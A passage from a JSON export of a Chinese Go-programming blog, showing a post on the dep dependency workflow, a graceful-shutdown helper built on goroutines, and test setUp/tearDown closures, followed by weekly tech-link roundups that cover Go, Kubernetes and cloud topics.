src=\"/images/wp-content/uploads/weekly-issues/7th-issue/farewell-mascherano.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我看过小马哥(哈维尔·马斯切拉诺)踢球，\u003cbr\u003e\n你看过小马哥踢球，\u003cbr\u003e\n他看过小马哥踢球。\u003cbr\u003e\n我们看过小马哥踢球，\u003cbr\u003e\n你们看过小马哥踢球，\u003cbr\u003e\n他们看过小马哥踢球！\u003c/p\u003e","title":"TB一周萃选[第7期]"},{"content":"第1期的“写Go代码时遇到的那些问题”一经发布后得到了很多Gopher的支持和赞赏，这也是我继续写下去的动力！不过这里依然要强调的是这一系列文章反映的是笔者在实践中对代码编写的认知以及代码的演化过程。这里的代码也许只是“中间阶段”，并不是什么最优的结果，我记录的只是对问题、对代码的一个思考历程。不过，十分欢迎交流与批评指正。\n一、dep的日常操作 虽然dep在国内使用依然有init失败率较高（因为一些qiang外的第三方package）的坎儿，但我和主流Gopher社区和项目一样，义无反顾地选择在代码库中使用dep。本周dep刚刚发布了0.4.1版本，与之前版本最大的不同在于dep发布了其官网以及相对完整的文档（以替代原先在github项目主页上的简陋的、格式较low的FAQ），这也是dep继续走向成熟的一个标志。不过关于dep何时能merge到go tools链当中，目前还是未知数。不过dep会在相当长的一段时期继续以独立工具的形式存在，直到merge到Go tools中并被广泛接受。\n包依赖管理工具在日常开发中并不需要太多的存在感，我们需要的这类工具特征是功能强大但接口“小”，对开发者体验好，不太需要太关心其运行原理，dep基本符合。dep日常操作最主要的三个命令：dep init、dep ensure和dep status。在《初窥dep》一文中，我曾重点说过dep init原理，这里就不重点说了，我们用一个例子来说说使用dep的日常workflow。\n1、dep init empty project 我们可以对一个empty project或一个初具框架雏形的project进行init，这里init一个empty project，作为后续的示例基础：\n➜ $GOPATH/src/depdemo $dep init -v Getting direct dependencies... Checked 1 directories for packages. Found 0 direct dependencies. Root project is \u0026quot;depdemo\u0026quot; 0 transitively valid internal packages 0 external packages imported from 0 projects (0) ✓ select (root) ✓ found solution with 0 packages from 0 projects Solver wall times by segment: select-root: 68.406µs other: 9.806µs TOTAL: 78.212µs ➜ $GOPATH/src/depdemo $ls Gopkg.lock Gopkg.toml vendor/ ➜ $GOPATH/src/depdemo $dep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED dep init有三个输出：Gopkg.lock、Gopkg.toml和vendor目录，其中Gopkg.toml（包含example，但注释掉了）和vendor都是空的，Gopkg.lock中仅包含了一些给gps使用的metadata：\n➜ $GOPATH/src/depdemo git:(a337d5b) $cat Gopkg.lock # This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. [solve-meta] analyzer-name = \u0026quot;dep\u0026quot; analyzer-version = 1 inputs-digest = \u0026quot;ab4fef131ee828e96ba67d31a7d690bd5f2f42040c6766b1b12fe856f87e0ff7\u0026quot; solver-name = \u0026quot;gps-cdcl\u0026quot; solver-version = 1 2、常规操作循环：for { 填代码 -\u0026gt; dep ensure } 接下来的常规操作就是我们要为project添加代码了。我们先来为工程添加一个main.go文件，源码如下：\n// main.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;depdemo\u0026quot;) } 这份代码的依赖只是std库的fmt，并没有使用第三方的依赖，因此当我们通过dep status查看当前状态、使用ensure去做同步时，发现dep并没有什么要做的：\n➜ $GOPATH/src/depdemo $dep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED ➜ $GOPATH/src/depdemo $dep ensure -v Gopkg.lock was already in sync with imports and Gopkg.toml 好吧。我们再来为main.go添点“有用”的内容：一段读取toml配置文件的代码。\n//data.toml id = \u0026quot;12345678abcdefgh\u0026quot; name = \u0026quot;tonybai\u0026quot; city = \u0026quot;shenyang\u0026quot; // main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; \u0026quot;github.com/BurntSushi/toml\u0026quot; ) type Person struct { ID string Name string City string } func main() { p := Person{} if _, err := toml.DecodeFile(\u0026quot;./data.toml\u0026quot;, \u0026amp;p); err != nil { log.Fatal(err) } fmt.Println(p) } 之后，再来执行dep status：\n➜ $GOPATH/src/depdemo $dep status Lock inputs-digest mismatch due to the following packages missing from the lock: PROJECT MISSING PACKAGES github.com/BurntSushi/toml [github.com/BurntSushi/toml] This happens when a new import is added. Run `dep ensure` to install the missing packages. input-digest mismatch 我们看到dep status检测到项目出现”不同步”的情况（代码中引用的toml包在Gopkg.lock中没有），并建议使用dep ensure命令去做一次sync。\n我们来ensure一下(ensure的输入输出见上图)：\n$GOPATH/src/depdemo git:(master) $dep ensure -v Root project is \u0026quot;depdemo\u0026quot; 1 transitively valid internal packages 1 external packages imported from 1 projects (0) ✓ select (root) (1) ? attempt github.com/BurntSushi/toml with 1 pkgs; 7 versions to try (1) try github.com/BurntSushi/toml@v0.3.0 (1) ✓ select github.com/BurntSushi/toml@v0.3.0 w/1 pkgs ✓ found solution with 1 packages from 1 projects Solver wall times by segment: b-source-exists: 15.821158205s ... ... b-deduce-proj-root: 5.453µs TOTAL: 16.176846089s (1/1) Wrote github.com/BurntSushi/toml@v0.3.0 我们来看看项目中的文件都发生了哪些变化：\n$git status On branch master Changes not staged for commit: (use \u0026quot;git add \u0026lt;file\u0026gt;...\u0026quot; to update what will be committed) (use \u0026quot;git checkout -- \u0026lt;file\u0026gt;...\u0026quot; to discard changes in working directory) modified: Gopkg.lock Untracked files: (use \u0026quot;git add \u0026lt;file\u0026gt;...\u0026quot; to include in what will be committed) vendor/ 可以看到Gopkg.lock文件和vendor目录下发生了变化：\n$git diff diff --git a/Gopkg.lock b/Gopkg.lock index bef2d00..c5ae854 100644 --- a/Gopkg.lock +++ b/Gopkg.lock @@ -1,9 +1,15 @@ # This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. +[[projects]] + name = \u0026quot;github.com/BurntSushi/toml\u0026quot; + packages = [\u0026quot;.\u0026quot;] + revision = \u0026quot;b26d9c308763d68093482582cea63d69be07a0f0\u0026quot; + version = \u0026quot;v0.3.0\u0026quot; + [solve-meta] analyzer-name = \u0026quot;dep\u0026quot; analyzer-version = 1 - inputs-digest = \u0026quot;ab4fef131ee828e96ba67d31a7d690bd5f2f42040c6766b1b12fe856f87e0ff7\u0026quot; + inputs-digest = \u0026quot;25c744eb70aefb94032db749509fd34b2fb6e7c6041e8b8c405f7e97d10bdb8d\u0026quot; solver-name = \u0026quot;gps-cdcl\u0026quot; solver-version = 1 $tree -L 2 vendor vendor └── github.com └── BurntSushi 可以看到Gopkg.lock中增加了toml包的依赖条目(版本v0.3.0)，input-digest这个元数据字段的值也发生了变更；并且vendor目录下多了toml包的源码，至此项目又到达了“同步”状态。\n3、添加约束 大多数情况下，我们到这里就算完成了dep work flow的一次cycle，但如果你需要为第三方包的版本加上一些约束条件，那么dep ensure -add就会派上用场，比如说：我们要使用toml包的v0.2.x版本，而不是v0.3.0版本，我们需要为github.com/BurntSushi/toml添加一条约束：\n$dep ensure -v -add github.com/BurntSushi/toml@v0.2.0 Fetching sources... (1/1) github.com/BurntSushi/toml@v0.2.0 Root project is \u0026quot;depdemo\u0026quot; 1 transitively valid internal packages 1 external packages imported from 1 projects (0) ✓ select (root) (1) ? attempt github.com/BurntSushi/toml with 1 pkgs; at least 1 versions to try (1) try github.com/BurntSushi/toml@v0.3.0 (2) ✗ github.com/BurntSushi/toml@v0.3.0 not allowed by constraint ^0.2.0: (2) ^0.2.0 from (root) (1) try github.com/BurntSushi/toml@v0.2.0 (1) ✓ select github.com/BurntSushi/toml@v0.2.0 w/1 pkgs ✓ found solution with 1 packages from 1 projects Solver wall times by segment: ... ... TOTAL: 599.252392ms (1/1) Wrote github.com/BurntSushi/toml@v0.2.0 add约束后，Gopkg.toml中增加了一条记录：\n// Gopkg.toml [[constraint]] name = \u0026quot;github.com/BurntSushi/toml\u0026quot; version = \u0026quot;0.2.0\u0026quot; Gopkg.lock中的toml条目的版本回退为v0.2.0：\ndiff --git a/Gopkg.lock b/Gopkg.lock index c5ae854..a557251 100644 --- a/Gopkg.lock +++ b/Gopkg.lock @@ -4,12 +4,12 @@ [[projects]] name = \u0026quot;github.com/BurntSushi/toml\u0026quot; packages = [\u0026quot;.\u0026quot;] - revision = \u0026quot;b26d9c308763d68093482582cea63d69be07a0f0\u0026quot; - version = \u0026quot;v0.3.0\u0026quot; + revision = \u0026quot;bbd5bb678321a0d6e58f1099321dfa73391c1b6f\u0026quot; + version = \u0026quot;v0.2.0\u0026quot; [solve-meta] analyzer-name = \u0026quot;dep\u0026quot; analyzer-version = 1 - inputs-digest = \u0026quot;25c744eb70aefb94032db749509fd34b2fb6e7c6041e8b8c405f7e97d10bdb8d\u0026quot; + inputs-digest = \u0026quot;9fd144de0cc448be93418c927b5ce2a70e03ec7f260fa7e0867f970ff121c7d7\u0026quot; solver-name = \u0026quot;gps-cdcl\u0026quot; solver-version = 1 $dep status PROJECT CONSTRAINT VERSION REVISION LATEST PKGS USED github.com/BurntSushi/toml ^0.2.0 v0.2.0 bbd5bb6 v0.2.0 1 vendor目录下的toml包源码也回退到v0.2.0的源码。关于约束规则的构成语法，可以参考dep文档。\n4、revendor/update vendor 使用vendor机制后，由于第三方依赖包修正bug或引入你需要的功能，revendor第三方依赖包版本或者叫update vendor会成为一个周期性的工作。比如：toml包做了一些bugfix，并发布了v0.2.1版本。在我的depdemo中，为了一并fix掉这些bug，我需要重新vendor toml包。之前我们加的constraint是满足升级到v0.2.1版本的，因此我们不需要重新设置constraints，我们只需要单独revendor toml即可，可以使用dep ensure -update 命令：\n$dep ensure -v -update github.com/BurntSushi/toml Root project is \u0026quot;depdemo\u0026quot; 1 transitively valid internal packages 1 external packages imported from 1 projects (0) ✓ select (root) (1) ? attempt github.com/BurntSushi/toml with 1 pkgs; 7 versions to try (1) try github.com/BurntSushi/toml@v0.3.0 (2) ✗ github.com/BurntSushi/toml@v0.3.0 not allowed by constraint ^0.2.0: (2) ^0.2.0 from (root) (1) try github.com/BurntSushi/toml@v0.2.0 (1) ✓ select github.com/BurntSushi/toml@v0.2.0 w/1 pkgs ✓ found solution with 1 packages from 1 projects Solver wall times by segment: b-list-versions: 1m18.267880815s .... ... TOTAL: 1m57.118656393s 由于真实的toml并没有v0.2.1版本且没有v0.2.x版本，因此我们的dep ensure -update并没有真正获取到数据。vendor和Gopkg.lock都没有变化。\n5、dep日常操作小结 下面这幅图包含了上述三个dep日常操作，可以直观地看出不同操作后，对项目带来的改变：\n“工欲善其事，必先利其器”，熟练的掌握dep的日常操作流程对提升开发效率大有裨益。\n二、“超时等待退出”框架的一种实现 很多时候，我们在程序中都要启动多个goroutine协作完成应用的业务逻辑，比如：\nfunc main() { go producer.Start() go consumer.Start() go watcher.Start() ... ... } 启动容易停止难！当程序要退出时，最粗暴的方法就是不管三七二十一，main goroutine直接退出；优雅些的方式，也是*nix系统通常的作法是：通知一下各个Goroutine要退出了，然后等待一段时间后再真正退出。粗暴地直接退出的方式可能会导致业务数据的损坏、不完整或丢失。等待超时的方式虽然不能完全避免“损失”，但是它给了各个goroutine一个“挽救数据”的机会，可以尽可能地减少损失的程度。\n但这些goroutine形态很可能不同，有些是server，有些可能是client worker或其manager，因此似乎很难用一种统一的框架全面管理他们的启动、运行和退出，于是我们缩窄“交互面”，我们只做“超时等待退出”。我们定义一个interface：\ntype GracefullyShutdowner interface { Shutdown(waitTimeout time.Duration) error } 这样，凡是实现了该interface的类型均可在程序退出时得到退出的通知，并有机会做退出前的最后清理工作。这里还提供了一个类似http.HandlerFunc的类型ShutdownerFunc ，用于将普通function转化为实现了GracefullyShutdowner interface的类型实例：\ntype ShutdownerFunc func(time.Duration) error func (f ShutdownerFunc) Shutdown(waitTimeout time.Duration) error { return f(waitTimeout) } 1、并发退出 退出也至少有两种类型，一种是并发退出，这种退出方式下各个goroutine的退出先后次序对数据处理无影响；另外一种则是顺序退出，即各个goroutine之间的退出是必须按照一定次序进行的。我们先来说并发退出。上代码！\n// shutdown.go func ConcurrencyShutdown(waitTimeout time.Duration, shutdowners ...GracefullyShutdowner) error { c := make(chan struct{}) go func() { var wg sync.WaitGroup for _, g := range shutdowners { wg.Add(1) go func(shutdowner GracefullyShutdowner) { shutdowner.Shutdown(waitTimeout) wg.Done() }(g) } wg.Wait() c \u0026lt;- struct{}{} }() select { case \u0026lt;-c: return nil case \u0026lt;-time.After(waitTimeout): return errors.New(\u0026quot;wait timeout\u0026quot;) } } 我们将各个GracefullyShutdowner接口的实现以一个变长参数的形式传入ConcurrencyShutdown函数。ConcurrencyShutdown函数实现也很简单，通过：\n为每个shutdowner启动一个goroutine实现并发退出，并将timeout参数传入shutdowner的Shutdown方法中； sync.WaitGroup在外层等待每个goroutine的退出； 通过select一个退出指示channel和time.After返回的timer channel来决定到底是正常退出还是超时退出。 该函数的具体使用方法可以参考：shutdown_test.go。\n//shutdown_test.go func shutdownMaker(processTm int) func(time.Duration) error { return func(time.Duration) error { time.Sleep(time.Second * time.Duration(processTm)) return nil } } func TestConcurrencyShutdown(t *testing.T) { f1 := shutdownMaker(2) f2 := shutdownMaker(6) err := ConcurrencyShutdown(time.Duration(10)*time.Second, ShutdownerFunc(f1), ShutdownerFunc(f2)) if err != nil { t.Errorf(\u0026quot;want nil, actual: %s\u0026quot;, err) return } err = ConcurrencyShutdown(time.Duration(4)*time.Second, ShutdownerFunc(f1), ShutdownerFunc(f2)) if err == nil { t.Error(\u0026quot;want timeout, actual nil\u0026quot;) return } } 2、串行退出 有了并发退出作为基础，串行退出也很简单了！\n//shutdown.go func SequentialShutdown(waitTimeout time.Duration, shutdowners ...GracefullyShutdowner) error { start := time.Now() var left time.Duration for _, g := range shutdowners { elapsed := time.Since(start) left = waitTimeout - elapsed c := make(chan struct{}) go func(shutdowner GracefullyShutdowner) { shutdowner.Shutdown(left) c \u0026lt;- struct{}{} }(g) select { case \u0026lt;-c: //continue case \u0026lt;-time.After(left): return errors.New(\u0026quot;wait timeout\u0026quot;) } } return nil } 串行退出的一个问题是waitTimeout的确定，因为这个超时时间是所有goroutine的退出时间之和。在上述代码里，我把每次的lefttime传入下一个要执行的goroutine的Shutdown方法中，外部select也同样使用这个left作为timeout的值。对照ConcurrencyShutdown，SequentialShutdown更简单，这里就不详细说了。\n3、小结 这是一个可用的、抛砖引玉式的实现，但还有很多改进空间，比如：可以考虑一下获取每个shutdowner.Shutdown后的返回值(error)，留给大家自行考量吧。\n三、Testcase的setUp和tearDown Go语言自带testing框架，事实证明这是Go语言的一个巨大优势之一，Gopher们也非常喜欢这个testing包。但Testing这个事情比较复杂，有些场景还需要我们自己动脑筋在标准testing框架下实现需要的功能，比如：当测试代码需要访问外部数据库、Redis或连接远端server时。遇到这种情况，很多人想到了Mock，没错。Mock技术在一定程度上可以解决这些问题，但如果使用mock技术，业务代码就得为了test而去做一层抽象，提升了代码理解的难度，在有些时候这还真不如直接访问真实的外部环境。\n这里先不讨论这两种方式的好坏优劣，这里仅讨论如果在testing中访问真实环境我们该如何测试。在经典单元测试框架中，我们经常能看到setUp和tearDown两个方法，它们分别用于在testcase执行之前初始化testcase的执行环境以及在testcase执行后清理执行环境，以保证每两个testcase之间都是独立的、互不干扰的。在真实环境下进行测试，我们也可以利用setUp和tearDown来为每个testcase初始化和清理case依赖的真实环境。\nsetUp和tearDown也是有级别的，有全局级、testsuite级以及testcase级。在Go中，在标准testing框架下，我们接触到的是全局级和testcase级别。Go中对全局级的setUp和tearDown的支持还要追溯到Go 1.4，Go 1.4引入了TestMain方法，支持在诸多testcase执行之前为测试代码添加自定义setUp，以及在testing执行之后进行tearDown操作，例如：\nfunc TestMain(m *testing.M) { err := setup() if err != nil { fmt.Println(err) os.Exit(-1) } r := m.Run() teardown() os.Exit(r) } 但在testcase级别，Go testing包并没有提供方法上的支持。在2017年的GopherCon大会上，Hashicorp的创始人Mitchell Hashimoto做了题为：“Advanced Testing in Go”的主题演讲，这份资料里提出了一种较为优雅的为testcase进行setUp和teawDown的方法：\n//setup-teardown-demo/foo_test.go package foo_test import ( \u0026quot;fmt\u0026quot; \u0026quot;testing\u0026quot; ) func setUp(t *testing.T, args ...interface{}) func() { fmt.Println(\u0026quot;testcase setUp\u0026quot;) // use t and args return func() { // use t // use args fmt.Println(\u0026quot;testcase tearDown\u0026quot;) } } func TestXXX(t *testing.T) { defer setUp(t)() fmt.Println(\u0026quot;invoke testXXX\u0026quot;) } 这个方案充分利用了函数这个first-class type以及闭包的作用，每个Testcase可以定制自己的setUp和tearDown，也可以使用通用的setUp和tearDown，执行的效果如下：\n$go test -v . === RUN TestXXX testcase setUp invoke testXXX testcase tearDown --- PASS: TestXXX (0.00s) PASS ok github.com/bigwhite/experiments/writing-go-code-issues/2nd-issue/setup-teardown-demo 0.010s 四、错误处理 本来想码一些关于Go错误处理的文字，但发现自己在2015年就写过一篇旧文《Go语言错误处理》，对Go错误处理的方方面面总结的很全面了。即便到今天也不过时，这当然也得益于Go1兼容规范的存在。因此有兴趣于此的朋友们，请移步到《Go语言错误处理》这篇文章吧。\n注：本文所涉及的示例代码，请到这里下载。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2018/01/27/the-problems-i-encountered-when-writing-go-code-issue-2nd/","summary":"\u003cp\u003e\u003ca href=\"http://tonybai.com/2018/01/13/the-problems-i-encountered-when-writing-go-code-issue-1st/\"\u003e第1期的“写Go代码时遇到的那些问题”\u003c/a\u003e一经发布后得到了很多Gopher的支持和赞赏，这也是我继续写下去的动力！不过这里依然要强调的是这一系列文章反映的是笔者在实践中对代码编写的认知以及代码的演化过程。这里的代码也许只是“中间阶段”，并不是什么最优的结果，我记录的只是对问题、对代码的一个思考历程。不过，十分欢迎交流与批评指正。\u003c/p\u003e\n\u003ch2 id=\"一dep的日常操作\"\u003e一、dep的日常操作\u003c/h2\u003e\n\u003cp\u003e虽然\u003ca href=\"https://github.com/golang/dep\"\u003edep\u003c/a\u003e在国内使用依然有init失败率较高（因为一些qiang外的第三方package）的坎儿，但我和主流Gopher社区和项目一样，义无反顾地选择在代码库中\u003ca href=\"http://tonybai.com/2017/06/08/first-glimpse-of-dep/\"\u003e使用dep\u003c/a\u003e。本周dep刚刚发布了\u003ca href=\"https://golang.github.io/dep/blog/2018/01/23/announce-v0.4.0.html\"\u003e0.4.1版本\u003c/a\u003e，与之前版本最大的不同在于dep发布了其官网以及相对完整的文档（以替代原先在github项目主页上的简陋的、格式较low的FAQ），这也是dep继续走向成熟的一个标志。不过关于dep何时能merge到go tools链当中，目前还是未知数。不过dep会在相当长的一段时期继续以独立工具的形式存在，直到merge到Go tools中并被广泛接受。\u003c/p\u003e","title":"写Go代码时遇到的那些问题[第2期]"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第6期]”**的归档。\n图：第6期封面\n凡事欲其成功，必须付出代价——奋斗。\n— 美国作家 爱默生\n每期挑选“封面图”都是一件颇为“费工夫”的事情，本期的封面图来自于一个投资界大V发送的微博内容，因为当我第一眼看到这幅图片时，感觉它颇为契合我当时的心境。\n**“未来的一年里，连睡觉都是浪费时间”**这句话的最原始的出处在哪里我还没有查到，但最近与这句话“勾搭”上关系的是小米公司，因为坊间传闻小米公司要开启上市计划了。但小米公司绝对不是这句话的“始作俑者”，因为我查到著名的投资人孙正义先生在2017中旬举行的SoftBank World大会中的一次演讲中也提到过：”未来让我激动，感觉睡觉都是在浪费时间”这一同义的说法。\n先不管人们对这句话是否感同身受，实际情况是当今人们用于睡觉的时间真的是越来越少了。已经成功的人为了追求更大的成功或让企业长期利于不败之地而殚精竭虑，他们不能睡；正走在通往成功道路上的奋斗者们，加班加点，兢兢业业，亲力亲为，他们不愿睡；大多安于现状、不愿折腾的打工族们则贪恋红尘，吃喝唱K、刷剧吃鸡、答题聊天的时间还不够呢，哪忍心放下手机或电脑去呼呼大睡呢，他们不舍得睡。\n由此看来，似乎这个“网红句子”在不同人内心中的含义是可以不同的。但无论怎样，我敢肯定的是这幅图会让那些新的一年中心中目标满满并欲为之奋斗的人振奋不已。大家都说刚刚新年伊始，其实已经过去了半个多月了，时间真的不等人：学习要速度，发展要速度，增长要速度，那么多工作和目标等待着你去完成，抓紧这本应该是睡眠的时间，努力奋斗吧。\n图：2018.1.18雾凇景观(沈阳)\n一、一周文章精粹 1. AWS Lambda正式宣布对Go的支持 在2017年末举办的AWS re:Invent大会上，AWS的技术人员就剧透了Lambda将对Go提供正式支持。本月15号，AWS官方正式宣布了Lambda对Go的支持，并在github上发布了aws-lambda-go的1.0.0版本。现在全世界的gopher们就可以使用自己心仪的语言来编写自己的第一个Function as a Service例子了。\n文章链接：“Announcing Go Support for AWS Lambda”\n2. Cloudflare公司的TCP协议栈深入理解系列 Cloudflare是世界知名的CDN服务商，这些年Cloudflare公司的主要技术栈也转移到了Go语言，包括其DNS系统等。Cloudflare在TCP/IP网络方面有了较为深入的理解，其研发人员经常在其官方blog发表有关互联网协议方面的技术文章，这里将其中几篇抽取汇总出来，形成“TCP协议栈深入理解系列”，包括：\nThe story of one latency spike This is strictly a violation of the TCP specification SYN packet handling in the wild 3. 高性能Go语言编程 印象中，高性能Go编程这个topic，大胡子Dave Cheney在几个技术大会上都讲过，Dave自己关于这方面的认知也在演化，这次在QCon大会上的演讲应该他对Go高性能编程的最新理解。\n文章链接：“High performance Go by Dave Cheney”\n4. 为什么Go中会有nil channel? Francesc Campoy是Go core team前成员，他的“just for fun”系列播客在广大Gopher圈里十分受欢迎，其最新一期“为什么Go中会有nil channel?”讲解了nil channel在实际编码中的妙用。\n文章链接：为什么Go中会有nil channel?\n5. 将Kubernetes集群扩展到2500个节点 容器与Kubernetes等容器管理基础设施的出现改变的不仅仅企业的业务应用架构和开发模式，对近两年火热的人工智能、机器学习也是一种赋能。当前Kubernetes支撑的人工智能/机器学习环境是目前一个流行的趋势，比如发布不久的Kubeflow。不过2015年末的成立的openai组织则早就将Kubernetes运用于人工智能领域的研究，截止目前该组织运行管理的Kubernetes集群已经达到2500个节点。本周openai发表文章讲述了他们是如何将Kubernetes集群管理的节点数量扩展到2500个的，他们的下一个目标是5000个节点。\n文章链接：“Scaling Kubernetes to 2,500 Nodes”\n6、Kubernetes的引力 2017年，Kubernetes战胜了swarm和mesos，成为容器管理和服务编排方面的事实标准。\n“Kubernetes引力”这篇文章从标准、容器管理编排、适配多云平台、适用于分布式系统部署等多方面论述Kubernetes对IT世界的改变。\n文章链接：“The Gravity of Kubernetes”\n二、一周资料分享 1. 人工智能标准化白皮书（2018版） 2018年1月18日，在国家人工智能标准化总体组、专家咨询组成立大会上，大会发布了“人工智能标准化白皮书2018版”，对人工智能技术的历史、发展现状及趋势、人工智能的标准体系以及国内外标准化的现状做了系统的阐述。\n人工智能标准化白皮书2018: 链接: https://pan.baidu.com/s/1qZTPyCc 密码: x3qn\n三、一周项目推荐 1. tview tview是用纯Go语言编写的一款终端UI组件库，用于实现基于terminal的文本式交互界面。类似于传统的C语言ncurses库。tview提供了许多widget，并且有对应的demo代码对应，使用起来十分方便：\n输入框（包括密码字段输入、下拉选择、选择框、按钮） 可导航的多色文字视图 导航表视图 可选列表 Flexbox和页面布局 模态消息窗口 项目地址：tview\n2. colly 数据在移动互联网时代以及即将到来的AI时代都是具有核心价值的。数据的获取途径之一就是通过爬虫工具获取公共数据，并作为数据价值挖掘的输入。colly就是一款用于编写爬虫工具的框架，它使用Go语言实现，提供优雅、简洁的API接口、高效的性能、并发爬取管理、缓存、robots.txt支持等功能，同时colly还提供了详尽的使用文档以及丰富的examples。\n项目地址：colly\n四、一周图书推荐 1.《迁移到云原生应用架构》 图：Migrating to Cloud-Native Application Architectures封面\n就好比00后被称为是互联网时代“原住民”一样，近几年的一些应用架构演化模式被称为“云原生”应用(cloud-native application)，换句好理解的话来说，就是这些应用天生就是应该跑在云上的，而且具有诸多契合云计算平台的特征，而不仅仅是简单地将传统单体应用从单机挪到虚拟机或容器中部署。\n云原生（Cloud Native）这个概念最初是由Pivotal公司的 Matt Stine在 2013年提出的，是他对多年架构和咨询经验进行总结后的一个成果。2015年，他操刀编写了“Migrating to Cloud-Native Application Architectures”，也就是这里推荐的这本短小的开源书。\n这本书的脉络十分清晰，首先Matt告诉我们什么是云原生架构以及为什么要用云原生架构。不过Matt并没有给出精确的云原生的定义，而是告诉我们云原生应用架构具有哪些特征，包括：”twelve factor app“、微服务、自服务敏捷架构、基于API写作等；接下来Matt告诉我们如果企业要接纳云原生架构，应该如何从文化、组织和技术等三个方面进行变革；最后的一个小章节则是迁移到云原生应用的实操mini手册。\n随着kubernetes、容器进一步发展以及对应用的进一步赋能，人们对云原生应用的认识还在进一步深刻中，pivotal在官网上对cloud-native的概念做了进一步总结归纳，建议结合这本书一并学习一下。\n图：Pivotal对云原生概念进一步阐述\n图书链接：\n《迁移到云原生应用架构》中译版\n《Migrating to Cloud-Native Application Architectures》\n著名云主机服务厂商DigitalOcean于1月17日发布了其新的主机计划(New Droplet Plan)，此次发布是对其原有主机计划的优化，其中入门级Droplet的内存容量从512M升级为1G，SSD磁盘空间从20G升级到25G，但价格不变，依旧是5$/月。如果你已经使用了DigitalOcean服务，可以到后台手动进行Resize以享受增容后的主机性能。如果您还没有使用DigitalOcean，可以去看看DO的vps plan是否满足你的需求。 链接地址：https://m.do.co/c/bff6eed92687\n图：New Plan的价格表\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/01/20/6th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第6期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/6th-issue/tb-6th-issue-cover.jpg\"\u003e\u003cbr\u003e\n图：第6期封面\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e凡事欲其成功，必须付出代价——奋斗。\u003cbr\u003e\n— 美国作家 爱默生\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e每期挑选“封面图”都是一件颇为“费工夫”的事情，本期的封面图来自于一个投资界大V发送的微博内容，因为当我第一眼看到这幅图片时，感觉它\u003cstrong\u003e颇为契合我当时的心境\u003c/strong\u003e。\u003c/p\u003e","title":"TB一周萃选[第6期]"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第5期]”**的归档。\n人生十鉴\n大喜易失言\n大怒易失礼\n大惊易失态\n大哀易失颜\n大乐易失察\n大惧易失节\n大思易失爱\n大醉易失德\n大话易失信\n大欲易失命\n下雪，是北方城市冬天的“常规操作”，是最不需要被单独关注的的事情。但今年冬天的“雪”却成为了这边的热门话题，原因：自从入冬以来一直就没下一场像样儿的雪！\n雪的姗姗来迟让病毒细菌异常活跃，医院发热门诊尤其是儿科人满为患，笔者入冬后也是连续感冒了两次。好在2018年元旦后没几天，在三九天到来之前，大家期盼已久的“像样儿的雪”终于落了下来。\n图：小区里的初雪\n2018年的这第一场雪注定是一场“瑞雪”，它不仅降低了空气的病毒浓度，提升了空气湿度，帮助人们有效抵御病毒入侵人体，而且让缺雪的北方城市瞬间焕发出那冬天独有的“魅力”。\n很多事情看起来很难，但一旦捅破了那层窗户纸之后，也就感觉没那么难了。下雪这事儿似乎也是如此，在被第一场雪打了个“样儿”之后，一场场雪便接踵而至了。在笔者撰写本文的时候，窗外还飞舞着洁白的雪花。\n一、一周文章精粹 1. Go“不足够好”文章大集合 就像世界上其他事物一样，编程语言也没有完美的，每一门编程语言都有优点，也有“不够好”的地方。Go诞生以来，虽然赞美之声此起彼伏，但对Go的“批评”之声也从未中断过。因此有人就整理了Go“不足够好”文章大集合，供Go设计者反思，供Gopher学习，以更好地、更深刻地理解Go这门语言。\n文章链接：“Go is not good enough”\n2. 好的Go代码库应该具备的“特征” Go是一门简洁的编程语言，入门容易，上手快。但写出好的Go代码还是需要一番功夫的。国外的一名gopher总结了“一个好的Go代码库应该具备的特征”，文章中按照依赖、API、错误处理、并发、调试等几个方面列举了诸如：给库打语义版本标签(semantic versioning tag)、除了标准库之外没有第三方依赖、一旦有非标准库的第三方依赖如何应对、不用使用vendor、使用包依赖管理工具、最小化public functions、接收iterface返回struct、避免创建goroutine、避免在公共API中使用channel等特征，强烈推荐每一个gopher阅读学习。\n文章链接：好的Go代码库应该具备的“特征”\n3. Apollo 2.0发布 在2018 美国消费电子展CES上，百度发布了其无人车平台Apollo的2.0版本，该版本将平台之前宣布的四大模块全部开放，并支持了简单城市道路的自动驾驶。\n文章链接：Apollo 2.0\n这是我之前写过的一篇文章Apollo 1.0的入门，可以帮助你了解Apollo。\n4. 2018，微服务将结束疯狂 